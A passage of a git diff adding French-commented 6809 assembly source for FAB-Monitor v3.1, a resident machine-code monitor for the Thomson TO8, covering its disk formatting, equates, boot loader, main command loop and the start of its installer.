+       LDB    ,X
+       BPL    *-2
+       LDD    #$A10A  configuration =
+       STD    3,X     mots de syncro A1
+       LDB    ,X
+       BPL    *-2
+       STA    3,X     écrit 3 fois $A1
+       LDB    ,X
+       BPL    *-2
+       STA    3,X
+       LDB    ,X
+       BPL    *-2     (@ SYNCRO CARACTR)
+
+       LDD    #$72FF  configuration =
+       STD    3,X     mots de données 72
+*                     (@ ADR DEBUT DONN)
+       LDY    #SIZE*256
+       PSHS   U
+       LDU    >DATAS
+FILLSC LDB    ,X
+       BPL    *-2
+       LDA    ,U+
+       STA    3,X     remplit le secteur
+       LEAY   -1,Y
+       BNE    FILLSC     (@ DONNEES)
+       CMPU   #$E000
+       BNE    *+5
+       LDU    #$4000
+       STU    >DATAS
+       PULS   U
+
+       LDB    ,X
+       BPL    *-2
+       LDB    #'L       écrit $2B
+       STB    3,X
+       LDB    ,X
+       BPL    *-2       écrit $F6
+       LDB    #'o
+       STB    3,X      (@ CONTROLE CRC)
+
+       LDA    #23
+L22X4C LDB    ,X
+       BPL    *-2
+       LDB    #$4C    écrit 22 fois $4C
+       STB    3,X
+       DECA
+       BNE    L22X4C    (@ ESPACES)
+
+
+
+       DEC    ,S
+       LBNE   ONESEC  secteur suivant
+
+INDEXF LDA    1,X     détection d'index
+       BITA   #$40
+       BNE    ENDTRK  -> piste suivante
+       LDA    ,X
+       BPL    *-2     remplit de $4E
+       STB    3,X     jusqu'à la fin de
+       BRA    INDEXF  la piste
+ENDTRK PULS   A
+       CLR    ,X      opération = RESET
+       RTS
+
+DATAS  FDB    $A000
+
+BUFFER RMB    SECTOR
+       RMB    6*SECTOR
+
+       END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM b/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM
new file mode 100644
index 0000000..8b81e30
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/EQUATES.ASM
@@ -0,0 +1,98 @@
+****************************************
+*           FAB Monitor v3.1           *
+****************************************
+** Fichier des définitions d'EQUates. **
+
+PCRTAD EQU    $5FFC   retour indirection
+SCREEN EQU    $4078   mémoire écran
+MYGETC EQU    $5FE9   indirection source
+FONTS  EQU    $3300   police caractères
+GETC   EQU    $4B55   lecture caractère
+CODE   EQU    $0000   début du programme
+F1F5BF EQU    $36B0   mémoires de INPUT
+FAT    EQU    $3700   buffer disque FAT
+CATALG EQU    $3800   buffer disque DIR
+IOZONE EQU    $3900   buffer disque DATA
+MNEMO1 EQU    $3A00   commandes simples
+MNEMO2 EQU    $3D7E     "" complexes(10)
+MNEMO3 EQU    $3E24     "" complexes(11)
+LINE   EQU    $3E44   la ligne courante
+DIR    EQU    $3F     page directe pour
+Z      EQU    0       pile et variables
+CMPT   EQU    Z       compteur standard
+XPOS   EQU    Z+2      abscisse curseur
+CLIGNO EQU    Z+3     =$FF si curseur ON
+CURSOR EQU    Z+4     position à l'écran
+WRKCSR EQU    Z+6     curseur grande fen
+BOTTOM EQU    Z+8     bas de la fenêtre
+DMPBYT EQU    Z+10    début du DUMP hexa
+FIRBYT EQU    Z+12    débt désassemblage
+REGIST EQU    Z+28+1  15 o:les registres
+
+DKOPC  EQU    Z+29    code opération DSK
+DKDRV  EQU    Z+30    face du disk (0/1)
+DKTRK  EQU    Z+31    piste
+DKSEC  EQU    Z+32    secteur
+DKBUF  EQU    Z+33    adresse buffer DSK
+TRACK  EQU    Z+35    position tête disk
+DKTMP  EQU    Z+36    registre tampon
+
+* lecture d'une chaîne:
+NBDGIT EQU    Z+36    nbre max de digits
+NBDGRL EQU    Z+37    nb digits utilisés
+INPCHK EQU    Z+38    &(test CHR valide)
+INPVAL EQU    Z+40    &(calcul Val-Ret)
+CODCDD EQU    Z+42    mode d'affichage*3
+C3E4   EQU    Z+45    registres E7C3/E4
+* désassemblage et dump:
+CURBYT EQU    Z+128   l'octet à traiter
+OPCODE EQU    Z+130   code instruction
+ADRMOD EQU    Z+132   mode d'adressage
+* remplissage/copie mémoire:
+FILBEG EQU    Z+128   début de la zone
+FILEND EQU    Z+130   fin zone à remplir
+COPBEG EQU    Z+128   début zone source
+COPEND EQU    Z+130   fin zone source
+* exécution sous-routine:
+STKBAK EQU    Z+128   sauvegarde la pile
+SUBADR EQU    Z+130   adresse exécution
+* recherche:
+SRLEN  EQU    Z+128   longueur de chaîne
+* sauvegarde d'une image au format PPM:
+IMABNK EQU    Z+138   bank courante
+IS4080 EQU    Z+139   flag =0 si 40 cols
+CMPTLH EQU    Z+140   compteurs Lrg/Haut
+HIGADR EQU    Z+142   adresse écran lig0
+* fichiers sur disquette:
+LSHIFT EQU    Z+128   décalage à la lect
+LASTBK EQU    Z+130   flag: dernier bloc
+LASTSC EQU    Z+131   flag:  ""  secteur
+BYLASE EQU    Z+132   nb octets du der."
+
+BEGADR EQU    Z+130   adresse début ""
+EXEADR EQU    Z+132   adresse exécution
+FATPTR EQU    Z+134   0-159:bloc cour.+1
+DIRSEC EQU    Z+135   secteur à modifier
+DIRPTR EQU    Z+136   entrée dans CATALG
+FILETY EQU    Z+144   type du fichier
+DATATY EQU    Z+145   type des données
+FILSIZ EQU    Z+146    taille du fichier
+* affichage du catalogue:
+VIWTMP EQU    Z+128   tampons pour les
+VWTMP2 EQU    Z+130   calculs > 16 bits.
+FILEN  EQU    Z+132   Nb blocs utilisés
+
+
+
+       ORG    DIR*256+XPOS
+       FDB    0,SCREEN,SCREEN
+       FDB    SCREEN+24*320,G,G
+       FCB    9
+       ORG    DIR*256+INPCHK
+       FDB    CHKHEX,VALHEX
+       ORG    F1F5BF
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM b/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM
new file mode 100644
index 0000000..e123b95
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/FABBOOT.ASM
@@ -0,0 +1,59 @@
+****************************************
+*         BOOT / FAB-Monitor           *
+****************************************
+
+       ORG    $6200
+
+       ORCC   #80     stop interruptions
+       LDS    #$60CC  init. pile système
+       LDX    #$6280   charge le menu
+       LDY    #$0002   (secteur 00.02)
+       LDD    #$4158  exécution finale
+       PSHS   D
+       LDD    #$0700  (face0;7 secteurs)
+       BSR    DISK
+       LDD    >$6286
+       JMP    D,X
+       FCC    "    "
+       FCC    "FAB-Monitor v3.1 / BOOT "
+       FCC    " (c) by Laurent Hiriart "
+       FCC    "   "
+
+DISK   LDU    #$6048
+       STB    1,U     face          : B
+       LDB    #2
+       STB    ,U
+       STY    3,U     piste.secteur : Y
+       STX    7,U     buffer        : X
+       LDB    4,U     secteur -> B
+CHARGE JSR    $E004
+       BCS    CHARGE
+       CMPB   #16     fin piste ?
+       BNE    NXTSEC
+       INC    3,U
+       CLRB
+NXTSEC INCB
+       STB    4,U
+       INC    7,U
+       DECA
+       BNE    CHARGE
+       RTS
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+       FDB    $BEBF,$ADB7,$BDCE,$A200
+
+* 128 octets de texte :
+
+       FCC    "----------------"
+       FCC    "FAB-Monitor v3.1"
+       FCC    "----------------"
+       FCC    "Distribue par : "
+       FCC    "ASCI, 365 Chemin"
+       FCC    "  des Montants, "
+       FCC    "  54690 EULMONT "
+       FCC    "Tel: 83.22.84.14"
+
+       END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM b/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM
new file mode 100644
index 0000000..0d52371
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/FABMON.ASM
@@ -0,0 +1,716 @@
+**** Fichier principal (Programme). ****
+
+       INCLUD EQUATES
+
+       ORG    CODE
+       STA    KOMBAC+1
+       LDX    #$5FEF  exécuté au RESET:
+       STX    >$600A  ->indirection GETC
+       LDB    #$20
+       STB    >$5FFB  ->rétablit le saut
+       BRA    KOMBAC
+       FCC    " FAB-Mon  v3.1  "
+
+G      STA    KOMBAC+1
+       PULS   CC,A,B
+       JSR    GETC
+       PSHS   B,A,CC
+       CMPB   #'Z-64    CNT-Z appuyé ?
+       BEQ    *+10
+KOMBAC LDD    #$00E7
+       TFR    B,DP
+       JMP    PCRTAD
+
+*** sauvegarde des registres du 6809
+       ORCC   #80
+       STA    DIR*256+REGIST-15  ($E7E6)
+       LEAS   4,S
+       PULS   D           adresse retour
+       STD    DIR*256+REGIST-2
+       STS    DIR*256+REGIST-14   pile S
+       LEAS   -6,S
+       PULS   A              registre CC
+       STA    DIR*256+REGIST-12
+       PULS   A,B,DP    registres A,B,DP
+       LDS    #DIR*256+REGIST-2
+       PSHS   U,Y,X,DP,B,A
+       LDS    #DIR*256+Z
+       LDA    #DIR
+       TFR    A,DP
+
+*** sauvegarde de la palette de couleurs
+       LDX    #COLORS+32
+       JSR    SYNCRO
+       LDA    #16
+       CLR    $E7DB
+PALSAV LDB    $E7DA
+       STB    1,X
+       LDB    $E7DA
+       STB    ,X++
+       DECA
+       BNE    PALSAV
+       LDX    #NULL   palettes en noir
+       JSR    SETPAL
+
+*** sauvegarde de l'environnement du TO8
+       LDA    $E7C3
+       LDB    $E7E7
+       ANDB   #1        registre E7E4
+       STD    <C3E4     registre E7C3
+       ANDA   #254
+       STA    $E7C3
+       LDB    #$54
+       STB    $E7E7   gestion pages E7E5
+
+       LDA    $E7E5
+       STA    >*+7
+       JSR    ZZZBK1  sauve écran > bank
+       LDA    #0
+       STA    $E7E5
+
+       LDA    $605F    devrait permettre
+       LDX    #AFFMOD   de retrouver le
+       LDB    ,X+      mode d'affichage
+       CMPA   ,X++
+       BEQ    AFFUND
+       CMPX   #COLORS
+       BNE    *-9
+AFFUND LDA    -1,X
+       STD    <CODCDD    registre E7DC
+       CLR    $E7E4    et No de CONSOLE
+       LDB    $E7E4
+BORDER ADDB   #0        couleur du tour
+       STB    <CODCDD+2  registre E7DD
+
+       LDD    #0
+       STD    $E7DC
+       LDA    $6049    face du lecteur
+       ANDA   #1
+       STA    <DKDRV
+       LDB    $6052   position tête Dsk0
+       STB    <TRACK
+       LDX    #BUFCLV
+       LDD    $6079
+       STD    ,X++
+       STX    $6079
+       JSR    FABMON
+
+* on remet tout en place et on se casse.
+
+       LDD    >BUFCLV
+       STD    $6079
+       LDB    <TRACK  position tête Dsk0
+       STB    $6052
+       LDD    <CODCDD+1 restaure rgistrs
+       STD    $E7DC        du TO8
+       LDA    $E7E5
+       STA    >*+7
+       JSR    GBK2VW       restaure
+       LDA    #0        bank -> écran
+       STA    $E7E5
+       LDD    <C3E4
+       STA    $E7C3
+       STB    $E7E4
+
+       LDX    #COLORS+32
+       JSR    SETPAL
+       LDA    $6081
+       STA    $E7E7
+
+       LDS    #DIR*256+REGIST-14
+       PULS   Y        vraie pile retour
+       PULS   A,X       registres CC,A,B
+       STA    -6,Y
+       STX    -5,Y
+       PULS   A              registre DP
+       STA    -3,Y
+       LDX    <REGIST-2
+       STX    -2,Y     adresse de retour
+       PULS   X,Y,U
+       LDS    <REGIST-14
+       LEAS   -6,S
+       LDA    <REGIST-15         ($E7E6)
+       JMP    >KOMBAC
+
+SETPAL PSHS   A,B
+       BSR    SYNCRO
+       LDB    #16
+       CLR    $E7DB
+       LDA    1,X
+       STA    $E7DA
+       LDA    ,X++
+       STA    $E7DA
+       DECB
+       BNE    *-11
+       PULS   A,B,PC
+SYNCRO LDA    $E7E7      syncro basse
+       BPL    *-3
+       LDA    $E7E7
+       BMI    *-3
+       LDB    #4*45      descend encore
+       TST    ,X      6   de 45 lignes
+       LDA    1,X     5
+       DECB           2
+       BNE    *-5     3
+       RTS
+
+GVW2BK LDA    $E7C3
+       ANDA   #254
+       STA    $E7C3
+ZZZBK1 LDA    #0
+       STA    $E7E5
+VW2BNK LDX    #$A000
+       LDU    #$4000
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$C000
+       BNE    *-7
+       INC    $E7C3
+       LDU    #$4000
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-7
+       RTS
+
+GBK2VW LDA    $E7C3
+       ANDA   #254
+       STA    $E7C3
+ZZZBK2 LDA    >ZZZBK1+1
+       STA    $E7E5
+BNK2VW LDX    #$A000
+       LDU    #$4000
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #$C000
+       BNE    *-7
+       INC    $E7C3
+       LDU    #$4000
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #$E000
+       BNE    *-7
+       RTS
+
+FABSCR LDA    $E7C3
+       ANDA   #254
+       STA    $E7C3
+       LDX    #$5F40  dessine l'écran de
+       LDD    #$C1C1   FAB-Monitor v3.1
+       STD    ,--X
+       CMPX   #$4000+192*40
+       BHI    *-5
+CMOTIF LDU    #$D0D0
+       LDD    #$9090
+       STU    ,--X
+       STD    ,--X
+       STU    ,--X
+       STD    ,--X
+       STU    ,--X
+       LDB    #$D8
+       LDA    #25
+       STB    ,-X
+       DECA
+       BNE    *-3
+       LDB    #$F0
+       LDA    #5
+       STB    ,-X
+       DECA
+       BNE    *-3
+       CMPX   #$4000
+       BHI    CMOTIF
+       INC    $E7C3
+       CLR    ,X+
+       CMPX   #$5F40
+       BLO    *-5
+       LDU    #SCREEN
+       STU    <CURSOR
+       LDA    #-1
+       STA    <IMABNK
+       LDX    #COLORS
+       JMP    SETPAL
+
+
+* programme: FAB-Monitor v3.1
+FABMON JSR    FABSCR
+CMSTRT LDX    #$4000+192*40
+       LDD    #0
+       STD    ,X++    efface la barre de
+       CMPX   #$5F40      commandes
+       BLO    *-5
+       LDX    <CURSOR sauve curseur haut
+       STX    <WRKCSR
+       LDD    #SCREEN+25*320
+       STD    <BOTTOM
+       LDX    #SCREEN+4+24*320
+       STX    <CURSOR
+       LDA    #-1
+       STA    <CLIGNO
+       LDD    #$43E    affiche l'invite
+       STA    <XPOS          ">"
+       JSR    PUTC
+COMMND JSR    GETC    lecture lettre-clé
+       CMPB   #$60     lettre minuscule
+       BLO    *+4
+       ANDB   #$DF
+       LDX    #OPTION
+QELOPT CMPB   ,X+
+       BNE    OPTNXT
+       LDU    ,X++    la lettre est une
+       LDB    ,U+     clé : affichage du
+       CMPB   #'@     texte et exécution
+       BEQ    *+7       de la commande
+       JSR    PUTC
+       BRA    *-9
+       JSR    [,X]
+ERRET1 TSTA
+       BEQ    CMSTRT
+       LDX    #NULL   palettes en noir
+       JMP    SETPAL   et on quitte
+OPTNXT LEAX   4,X
+       CMPX   #ENDOPT
+       BLO    QELOPT
+       BRA    COMMND
+OPTION FCB    13
+       FDB    LNFEED,OPFEED
+       FCB    12
+       FDB    RAZWIN,OPRAZW
+       FCB    '?
+       FDB    HLPTXT,OPHELP
+       FCB    '@
+       FDB    ASCTXT,OPASCI
+       FCB    'A
+       FDB    ABOTXT,OPABOU
+       FCB    'B
+       FDB    BNKTXT,OPBANK
+       FCB    'C
+       FDB    COPTXT,OPCOPY
+       FCB    'D
+       FDB    DMPTXT,OPDUMP
+       FCB    'E
+       FDB    JSRTXT,OPGJSR
+       FCB    'F
+       FDB    FILTXT,OPFILL
+       FCB    'G
+       FDB    GADTXT,OPGADG
+       FCB    'H
+       FDB    HNKTXT,OPHUNK
+       FCB    'I
+       FDB    IMATXT,OPIMAG
+       FCB    'J
+       FDB    JMPTXT,OPJUMP
+       FCB    'K
+       FDB    KILTXT,OPKILL
+       FCB    'L
+       FDB    LODTXT,OPLOAD
+       FCB    'M
+       FDB    MODTXT,OPMODE
+       FCB    'N
+       FDB    PALTXT,OPNPAL
+       FCB    'O
+       FDB    BORTXT,OPBORD
+       FCB    'P
+       FDB    POKTXT,OPPOKE
+       FCB    'Q
+       FDB    QITTXT,OPQUIT
+       FCB    'R
+       FDB    RIDTXT,OPREAD
+       FCB    'S
+       FDB    SERTXT,OPSEAR
+       FCB    'T
+       FDB    ROMTXT,OPROMC
+       FCB    'U
+       FDB    DESTXT,OPDESA
+       FCB    'V
+       FDB    VIWTXT,OPVIEW
+       FCB    'W
+       FDB    WRITXT,OPWRIT
+       FCB    'X
+       FDB    REGTXT,OPREGI
+       FCB    '=
+       FDB    RGETXT,OPRGEQ
+       FCB    'Y
+       FDB    SIDTXT,OPSIDE
+       FCB    'Z
+       FDB    MOVTXT,OPMOVE
+       FCB    '*
+       FDB    COLTXT,OPCOLO
+ENDOPT
+
+PALTXT  * initialise la palette couleurs
+       FCC    "NEW PALETTE@"
+OPNPAL JSR    GETC
+       CMPB   #2
+       BEQ    EOPPAL
+       CMPB   #13
+       BNE    OPNPAL
+       LDX    #COLORS
+       LDU    #COLORS+32
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #COLORS+32
+       BNE    *-7
+EOPPAL CLRA
+       JMP    HWINDW
+
+
+BORTXT  * change la couleur du cadre
+       FCC    "BORDER $@"
+       FCB    0
+OPBORD LDA    #1
+       JSR    INPUT
+       JSR    HWINDW
+       BEQ    EOPBOR
+       TFR    U,D
+       STB    >BORDER+1
+       LDB    <CODCDD+2
+       ANDB   #$F0
+       ADDB   >BORDER+1
+       STB    <CODCDD+2  registre E7DD
+EOPBOR CLRA
+       RTS
+
+MOVTXT  * option: déplace l'indirection
+       FCC    "ZAPPER AT $@"
+       FDB    0,0
+OPMOVE LDD    $6089
+       JSR    ATOHEX
+       TFR    B,A
+       JSR    ATOHEX
+       LEAU   -4,U
+       LDX    #VALZAP
+       STX    <INPVAL
+       LDA    #4
+       JSR    INPUT
+       LDX    #VALHEX
+       STX    <INPVAL
+       JSR    HWINDW
+       BEQ    EOPMOV
+       CMPU   #$6000
+       BHS    ZAPONE
+       LDB    $E7E5
+       STB    <CMPT
+       LDB    >ZZZBK1+1
+       STB    $E7E5
+       LEAU   $6000,U
+       BSR    ZAPONE
+       LEAU   $2000-16,U
+       BSR    ZAPONE
+       LDB    <CMPT
+       STB    $E7E5
+       LEAU   -$8000-16,U
+       BRA    VECTRS
+ZAPONE LDA    #20     taille du zappeur
+       LDX    >$6089
+       CMPU   >$6089
+       BLS    MVZAPI
+       LEAX   A,X
+       LEAU   A,U
+MVZAPD LDB    ,-X     copie en mode
+       STB    ,-U     descending
+       DECA
+       BNE    *-5
+       BRA    VECTRS
+MVZAPI LEAY   ,U
+       LDB    ,X+     copie en mode
+       STB    ,U+     ascending
+       DECA
+       BNE    *-5
+       LEAU   ,Y
+VECTRS STU    >$6089  détournement RESET
+       LEAU   3,U
+       STU    >$600A  indirection GETC
+       STU    >$0004
+       LEAU   12,U
+       STU    >$000C
+       LEAU   1,U
+       STU    >$0034
+       CLRA
+EOPMOV RTS
+
+
+ROMTXT  * option: copie une ROM en RAM
+       FCC    "TRANSFER ROM $@"
+       FCB    0
+       FCC    " TO BANK $"
+       FDB    0
+OPROMC LDA    #1
+       JSR    INPUT   choix de la page
+       LBEQ   HWINDW  de ROM ($0 à $F)
+       TFR    U,D
+       LDX    #CPYROM
+       STB    11,X       ROM à commuter
+       LDU    #OPROMC-2
+       LDA    $E7E5
+       STA    <CMPT
+       JSR    ATOHEX
+       LDD    #VALBNK
+       STD    <INPVAL
+       LDU    #OPROMC-12
+       LDA    #2
+       JSR    DINPUT  choix de la banque
+       LDX    #VALHEX de RAM ($00 à $1F)
+       STX    <INPVAL
+       JSR    HWINDW
+       BEQ    EOPROM
+       TFR    U,D
+       STB    $E7E5
+
+       LDX    #CPYROM
+       LDB    $E7E6
+       STB    ROMEND-CPYROM-7,X
+       LDU    #$4000+192*40
+       LDA    #$C9
+       DEC    $E7C3
+       STA    ,U
+       INC    $E7C3
+       LDB    ,X+
+       STB    ,U+
+       CMPX   #ROMEND
+       BNE    *-15
+       LDX    #0
+       LDU    #$A000
+       JMP    >$4000+192*40
+RETROM LDX    #$4000+192*40
+       DEC    $E7C3
+       LDD    #$00C1+256*(ROMEND-CPYROM)
+       STB    ,X+
+       DECA
+       BNE    *-3
+       INC    $E7C3
+       LDB    <CMPT
+       STB    $E7E5
+       CLRA
+EOPROM RTS
+
+CPYROM CLR    $E7E6
+       LDA    >$0020
+       FCB    $A7,$8C,ROMEND-9-*-3
+       CLR    >$0000
+       LDD    ,X++
+       STD    ,U++
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #$4000
+       BNE    *-11
+       CLR    >$0000
+       LDA    #0
+       STA    $E7E6
+       JMP    >RETROM
+ROMEND
+
+MODTXT  * change le mode d'affichage
+       FCC    "MODE $@"
+       FCB    0
+OPMODE LDB    <CODCDD
+       ADDB   #'0
+       STB    ,U
+       LDX    #CHKMOD
+       STX    <INPCHK
+       LDA    #1
+       JSR    INPUT
+       LDX    #CHKHEX
+       STX    <INPCHK
+       JSR    HWINDW
+       BEQ    EOPMOD
+       TFR    U,D
+       TFR    B,A
+
+       LDX    #AFFMOD
+       LDB    ,X++
+       CMPA   ,X+
+       BEQ    MDFUND
+       CMPX   #COLORS
+       BNE    *-9
+       BRA    EOPMOD
+MDFUND STD    <CODCDD rgs E7DC / CONSOLE
+       LDA    -2,X
+       STA    $605F
+EOPMOD CLRA
+       RTS
+
+GADTXT  * Exécuter un gadget utilisateur
+       FCC    "GADGET@"
+OPGADG CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPGADG
+       LDA    #13     No Gadget Installd
+       JMP    ERROR
+
+COLTXT  * Voir la palette de couleurs
+       FCC    "SHOW COLORS@"
+OPCOLO CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPCOLO
+       JSR    HWINDW
+       JSR    SYNCRO
+       PSHS   DP       On récupèrera DP
+       LDB    #$E7      à la sortie !
+       TFR    B,DP    Pour accès rapides
+       LDD    #30     couleur 15 en noir
+       STB    <$DB
+       STA    <$DA
+       STA    <$DA
+       LDA    #15
+       STA    <$DD    tour en couleur 15
+       LDA    <$C8
+       ANDA   #1      attend relâchement
+       BNE    *-4         du clavier
+
+* SYNCRONISATION - REGLAGE COLONNE *****
+* b5 de $E7E7 : situation en ligne INILN
+       LDX    #*+4
+       LDA    #32
+       BITA   <$E7       sort quand
+       BEQ    *-2     spot dans fenêtre
+       BITA   <$E7       sort quand
+       BNE    *-2     spot entre border
+       STA    ,X+     5
+       MUL            11  boucle de 63
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11 spot est sur la
+       LDA    ,-X     5     dernière
+       BITA   <$E7    4   C O L O N N E
+       BEQ    *-10    3   de la fenêtre
+
+* SYNCRONISATION - REGLAGE LIGNE *******
+* b7 de $E7E7 : situation en trame INITN
+       MUL            11  boucle de 64
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11  spot est sur
+       MUL            11    une ligne
+       TST    <$E7    6  DANS le border
+       BPL    *-7     3
+       MUL            11  boucle de 64
+       MUL            11 cycles dont on
+       MUL            11 sort quand le
+       MUL            11 spot est sur la
+       MUL            11    dernière
+       TST    <$E7    6     L I G N E
+       BMI    *-7     3   de la fenêtre
+
+       LDX    #115*8-3
+       LEAX   -1,X     Pour centrer les
+       BNE    *-2      lignes de copper.
+
+BORCOL LDU    #COLORS+32
+       LDD    ,U++       8
+       STD    >NOSTAL+1  6
+       LDA    #30        2
+       STA    <$DB       4
+NOSTAL LDD    #0         3
+       STB    <$DA       4
+       STA    <$DA       4
+       LDX    #8*11      3
+       LEAX   -1,X    5
+       BNE    *-2     3
+       MUL               11
+       MUL               11
+       CMPU   #COLORS+66 5
+       BNE    BORCOL+3   3
+
+       LDX    #107*8+8-2
+       LEAX   -1,X
+       BNE    *-2
+       ABX
+       LDA    <$C8      clavier frappé ?
+       BEQ    BORCOL    non -> boucle
+
+       JSR    SYNCRO
+       LDD    #30
+       STA    <$DD    tour en couleur 0
+       STB    <$DB
+       LDD    >COLORS+30
+       STB    <$DA    couleur 15 en brun
+       STA    <$DA
+       JSR    GETC    Vide buffR clavier
+       PULS   DP
+       CLRA
+       RTS
+
+ASCTXT  * Afficher la table ASCII
+       FCC    "ASCII TABLE@"
+OPASCI CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPASCI+1
+       JSR    HWINDW
+
+       LDD    #$2032
+       STD    <DMPBYT
+       LDU    #PUTC
+ASCIIT LDB    #32
+       JSR    ,U
+       CMPA   #100
+       BLS    *+4
+       LDB    #'1
+       JSR    ,U
+       LDA    <DMPBYT+1
+       JSR    DA2HEX
+       LDA    <DMPBYT
+       LDB    #8
+       STB    <CMPT
+       LDB    #32
+ASCIHX JSR    ,U
+       JSR    DA2HEX
+       INCA
+       DEC    <CMPT
+       BNE    ASCIHX
+       JSR    ,U
+       JSR    ,U
+       LDB    <DMPBYT
+       LDA    #8
+ASCICH JSR    ,U
+       INCB
+       DECA
+       BNE    ASCICH
+       STB    <DMPBYT
+       LDB    #32
+       JSR    ,U
+       JSR    ,U
+       LDA    <DMPBYT+1
+       ADDA   #8
+       DAA
+       STA    <DMPBYT+1
+       LDA    <DMPBYT
+       CMPA   #128
+       BNE    ASCIIT
+       CLRA
+       RTS
+
+
+
+       INCLUD OPTIONS2
+       INCLUD OPTIONS
+       INCLUD FNCTBASE
+       INCLUD FILES
+
+
+       ORG    $2300-15-32
+AFFMOD FCB    $2A,$80,1  * 80 colonnes
+       FCB    $21,$01,2  * Bitmap 4
+       FCB    $7B,$40,3  * Bitmap 16
+       FCB    $41,$10,4  * Bitmap 4 SpéC
+       FCB    $00,$00,0  * TO7 / défaut
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+NULL   FDB    0,0,0,0,0,0,0,0
+       FDB    0,0,0,0,0,0,0,0
+BUFCLV FDB    0       OLD buffer clavier
+       FDB    0,0     mon buffer clavier
+
+
+       END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM b/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM
new file mode 100644
index 0000000..d1ecc23
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM
@@ -0,0 +1,445 @@
+****************************************
+*   Installation de FAB-Monitor v3.1   *
+****************************************
+
+E      EQU    27      code ESC
+F      EQU    31      code US
+G      EQU    22      code ACC
+ISCHDC EQU    $002A   CMPB  #CHRDEC
+ZZZAD1 EQU    $0003   LDX   #RESET+3
+ZZZAD2 EQU    $000B   STB   >RESET+15
+ZZZAD3 EQU    $0033   JMP   >RESET+16
+ZZZBK1 EQU    $0162   LDB   #FABBNK+1
+LEN    EQU    $D4
+
+       ORG    $4000
+
+BUFFER FCB    0,5,6,'Z-64,$5F,$EC
+ZZZZA1
+RSTMSG FCB    F,$4C,$49
+       FCC    "Installation termin"
+       FCB    G,$42
+       FCC    "ee !"
+       FCB    F,$4F,$49
+       FCC    "Appuyez sur une touche"
+       FCB    F,$50,$43
+       FCC    "pour revenir "
+       FCB    G,$41
+       FCC    "a la page d'ent"
+       FCB    G,$43
+       FCC    "ete..."
+ZZZZA2 FCB    0
+
+COPY   LDU    BUFFER+4
+       CMPU   #$6000
+       BHS    ZONOK    installe simple
+       LDA    $E7E5
+       CLR    $E7E5    installe en RAM-A
+       LEAU   $6000,U  et en RAM-B de la
+       BSR    ZONOK      mémoire-écran
+       LDU    BUFFER+4
+       LEAU   $8000,U
+       BSR    ZONOK
+       STA    $E7E5
+       RTS
+
+ZONOK  LDX    #RESET  installe en RAM-B
+       LDB    ,X+
+       STB    ,U+
+       CMPX   #ENDPRG
+       BNE    *-7
+       RTS
+
+RESET  FCB    $6F,$8C,$0C CLR EXEC+2,PCR
+MYGETC PSHS   DP,B,A,CC
+       LDA    $E7E6    sauve cartouche
+FABBNK LDB    #$60
+       STB    $E7E6   FAB-Mon3.1 visible
+EXEC   JMP    >$0020
+       STA    <$E6
+       PULS   CC,A,B,DP,PC
+ENDPRG
+
+
+       JSR    PRINTU
+GETADR LDD    #$408
+       JSR    $E803
+       DECA
+       BNE    *-4
+       LDB    #$11
+       JSR    $E803
+       JSR    HDIGIT
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       PSHS   B
+       JSR    HDIGIT
+       ADDB   ,S
+       STB    ,S
+       JSR    HDIGIT
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       PSHS   B
+       JSR    HDIGIT
+       ADDB   ,S
+       STB    ,S
+       PULS   A,B
+       EXG    A,B
+       TFR    D,X
+       CMPX   #$4000
+       BLO    GETADR
+       CMPX   #$DFEC
+       BHI    GETADR
+       LDB    #$14
+       JMP    $E803
+
+ZZZZB1
+ISITOK FCB    F,$54,$47
+       FCC    "Appuyez sur 'ENT' pour "
+       FCC    "valider,    ou 'STOP' po"
+       FCC    "ur changer les param"
+       FCB    G,$41
+       FCC    "etres."
+       FCB    0,12,F,$4C,$49
+       FCC    "Chargement en cours..."
+ZZZZB2 FCB    0
+
+RILBEG LDX    #$6200
+       STU    ,X++
+       CMPX   #$6A00
+       BNE    *-5
+
+       LDY    #BUFFER
+       LDA    $607F   installation
+       LBEQ   NOWLOD  automatique (opt1)
+       LDA    $618C
+       INCA
+       STA    ,Y      bank maximum
+       LDU    #MAXBK1
+       JSR    ATOHEX
+       LDU    #MAXBK2
+       JSR    ATOHEX
+START  LDU    #PGEONE
+       JSR    PRINTU
+       LDD    #$5FEC
+       STD    4,Y
+OPTION JSR    $E806
+       CMPB   #'1
+       BNE    *+13
+       LDD    #$0506
+       STD    1,Y
+       LDA    #'Z-64
+       STA    3,Y
